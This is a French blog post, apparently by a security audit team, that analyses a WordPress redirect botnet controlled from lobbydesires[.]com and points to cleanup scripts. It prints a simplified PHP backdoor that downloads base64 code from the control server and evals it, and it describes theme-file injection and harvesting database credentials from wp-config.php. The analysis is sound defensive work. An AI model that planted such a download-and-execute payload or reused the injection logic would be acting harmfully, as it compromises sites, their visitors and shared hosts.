Menu
Menu
Récemment nous avons été alerté sur le dysfonctionnement de sites WordPress. Après avoir jeté un oeil à ces sites, nous avons découvert que le site était infecté par un petit botnet inconnu et très récent. Voici notre analyse :
EDIT 14/07/20: voici les scripts permettant de détecter et de nettoyer ce malware:
https://github.com/Guiomuh
/WP_Redirect_Botnet_Cleaner
On se rend vite compte que le site https://lobbydesires[.]com est un serveur C&C (Command and Control) qui héberge le code malveillant de ce malware. Ceci permet à l’attaquant de pouvoir changer à sa guise les fonctionnalités du Botnet.
Commençons l’analyse générale de ce malware. Tout d’abord un simple WHOIS sur le nom de domaine utilisé nous apprend que le site est hébergé aux Pays-Bas et qu’il a été enregistré le 29 Juin 2020 ce qui remonte à 4 jours. Or en si peu de jours de nombreux sites ont déjà été infectés !
On peut en effet utiliser la recherche Google suivante pour lister la partie des sites infectés qui ont été indexés depuis leur infection:
intext:lobbydesires[.]com/location.js
A l’heure actuelle 260 sites ressortent mais le nombre doit être grandement supérieur étant donné le temps de réindexation d’un site web par les bots de Google.
Voici le code du fichier location.js qui est récupéré sur le site lobbydesires.com puis exécuté à chaque visite d’une page infectée.
Pour rappel on parle ici de code JavaScript le code est donc exécuté sur le navigateur de la personne visitant le site et pas sur le site lui même
On constate que le code a été offusqué, il faudra un peu de travail pour le rendre compréhensible.
Après un peu de nettoyage on retrouve dans ce fichier 3 fonctions JS:
check_adm()
make_theme()
reqListener()
reqListener()
La dernière fonction reqListener() est vide ce qui me laisse penser que le botnet n’est pas terminé mais nous reviendrons sur ce point plus tard.
check_admin()
Cette fonction est la fonction principale de ce malware, c’est elle qui est exécutée après la définition des fonctions. Cette fonction se charge de vérifier à l’aide des cookies si l’utilisateur qui visite la page infectée est l’administrateur du site WordPress. Si ce n’est pas le cas l’utilisateur est redirigé vers la page de login. S’il s’agit de l’administrateur la fonction make_theme() est alors appelée.
Cet effet a pour principe de bloquer la page jusqu’à ce que l’administrateur la visite, assez fourbe en effet..
make_theme()
Cette fonction commence par faire une requête GET à l’adresse suivante:
http://[victime.com]/wp-admin/theme-editor.php?file=header.php
Cette page est la page WordPress permettant à l’administrateur de modifier le thème courant. Ici plus particulièrement le fichier header.php du thème.
Le malware récupère alors quelques informations dans la page à l’aide d’expressions régulières. Ces informations lui seront nécessaires pour interagir avec la page plus tard.
i = /name=”newcontent”.*?[>]([\/\s\/\S]*?)<\/textarea/g.exec(n),
d = /<option. p="/name=”nonce”([">
</option.>
La fonction vérifie ensuite si le thème n’est pas déjà infecté en recherchant la présence de la chaîne “sdfsd23” (présente dans la 2eme payload (PHP) présentée ci dessous). Si le thème n’est pas déjà infecté on lui ajoute 2 payloads au début. Une en Javascript similaire à la précédente:
Et une contenant du code PHP: (simplifiée ici pour une meilleure compréhension)
<?php $a = https://lobbydesires[.]com/n.txt;
$b = "sdfsd234";
file_put_contents($b,"<?php".base64_decode(file_get_contents($a)));
include($b);
unlink($b);
eval(base64_decode(file_get_contents($a)));
?>
Ce code PHP est donc exécuté sur le serveur à chaque chargement de page. Mais que fait il ?
La payload PHP précédente se charge de télécharger et d’exécuter le fichier https://lobbydesires[.]com/n.txt
Ce fichier est un script PHP encodé en base64
Pour rappel on parle ici de code PHP le code est donc exécuté sur le serveur infecté
Le cœur de ce fichier contient plusieurs fonctions mais pour simplifier celui-ci recherche des fichiers particuliers depuis la racine du serveur pour les infecter.
Ceci implique que les autres sites hébergés sur le même serveur peuvent eux aussi être infectés !!
On peut diviser cette recherche en 4 parties:
Bien que la façon de rechercher n’est pas optimale on voit bien que le malware cible les fichier JS PHP et HTML. Dans chaque cas une payload JavaScript similaire aux précédentes est ajoutée au fichier trouvé sauf dans le cas de wp-config.php
En effet une fois trouvé ce fichier est parcouru à la recherche des identifiants de la base de données SQL de WordPress. Ceux ci sont ensuite utilisés pour ajouter la payload javascript à tous les articles de WordPress.
Nous avons déjà indiqué précédemment que ce botnet n’avait pas l’air terminé. En plus de ne pas disposer encore de charges utiles permettant le lancement d’attaques certaines fonctionnalités sont incomplètes.
Pour ne citer qu’un exemple on peut parler du fichier rebut.log :
Ce fichier crée lors de l’exécution du code PHP malveillant contient la date de la dernière exécution de celui ci. Ce fichier est utilisé au début de l’exécution pour verifier si la dernière exécution date de plus ou moins de 6400 secondes. Sûrement en vue d’éviter que le malware se réexécute à chaque chargement de page ce qui peut gravement ralentir le site. Cependant dans les 2 cas la même chose est exécutée ce qui est incohérent..
Le nom de ce fichier rebut.log semble être un indice sur le fait que l’attaquant soit francophone..
Ensuite on peut remarquer que les payloads Javascrip possèdent un paramètre inutilisé indiquant d’où elles ont été appelées pour résumer:
location.js?i=1 -> from index.php
location.js?s=1 -> from .php .htm or JS
location.js?qs=1 -> from SQL DB article
location.js?v=1 -> from Infected Theme (header.php)
En plus de cela, on peut remarquer une importante redondance de code, ce qui peut être un indice sur l’inexpérience de son créateur.
Enfin, on peut noter l’absence de redondance du serveur de contrôle. Normalement dans de tels malwares plusieurs serveurs infectés sont utilisés en redondance pour stocker les fichiers de code. Ceci pour que l’attaquant puisse garder la main sur son Botnet même si le serveur est signalé.
Dans notre cas, un seul serveur est utilisé et nous l’avons signalé 😀 c’est donc une question de temps pour que ce botnet devienne inutilisable.
EDIT (05/07/2020) : Le serveur n’est plus disponible à ce jour
Bien qu’actuellement inoffensif, ce virus est très persistant et se met à jour à chaque visite d’une page infectée. Ceci peut donc changer sous peu et ce botnet pourrait vite dévoiler sa vraie fonction. Il est donc essentiel de nettoyer votre site si celui ci a été infecté. Dans ce but nous avons publié un script permettant de réaliser un nettoyage complet de ce malware. En effet ce malware est très persistant et l’oubli d’une seule page suffirait pour entrainer une réinfection complète des sites hébergés sur le serveur.
En attendant une correction rapide serait de bloquer le domaine lobbydesires[.]com dans le firewall ou à défaut de l’ajouter dans le fichier host. Cette correction n’est cependant pas complète, elle évite juste le téléchargement et donc la mise à jour de la payload PHP insérée dans le thème.
On pourrait également se demander comment a eu lieu la première infection. Une hypothèse serait la présence d’une faille XSS Stored dans un WordPress ou un plugin qui n’est pas à jour. En effet de telles failles sont courantes et permettraient d’injecter la Payload JS initiale infectant ainsi la première page qui infectera par la suite tout le site si elle est visitée par l’administrateur.
Conseils : Pour se prémunir de ce type d'attaque il est impératif de garder son site WordPress ainsi que ses plugins à jour !
L'équipe REDTEAM est en charge de la réalisation des audits intrusifs
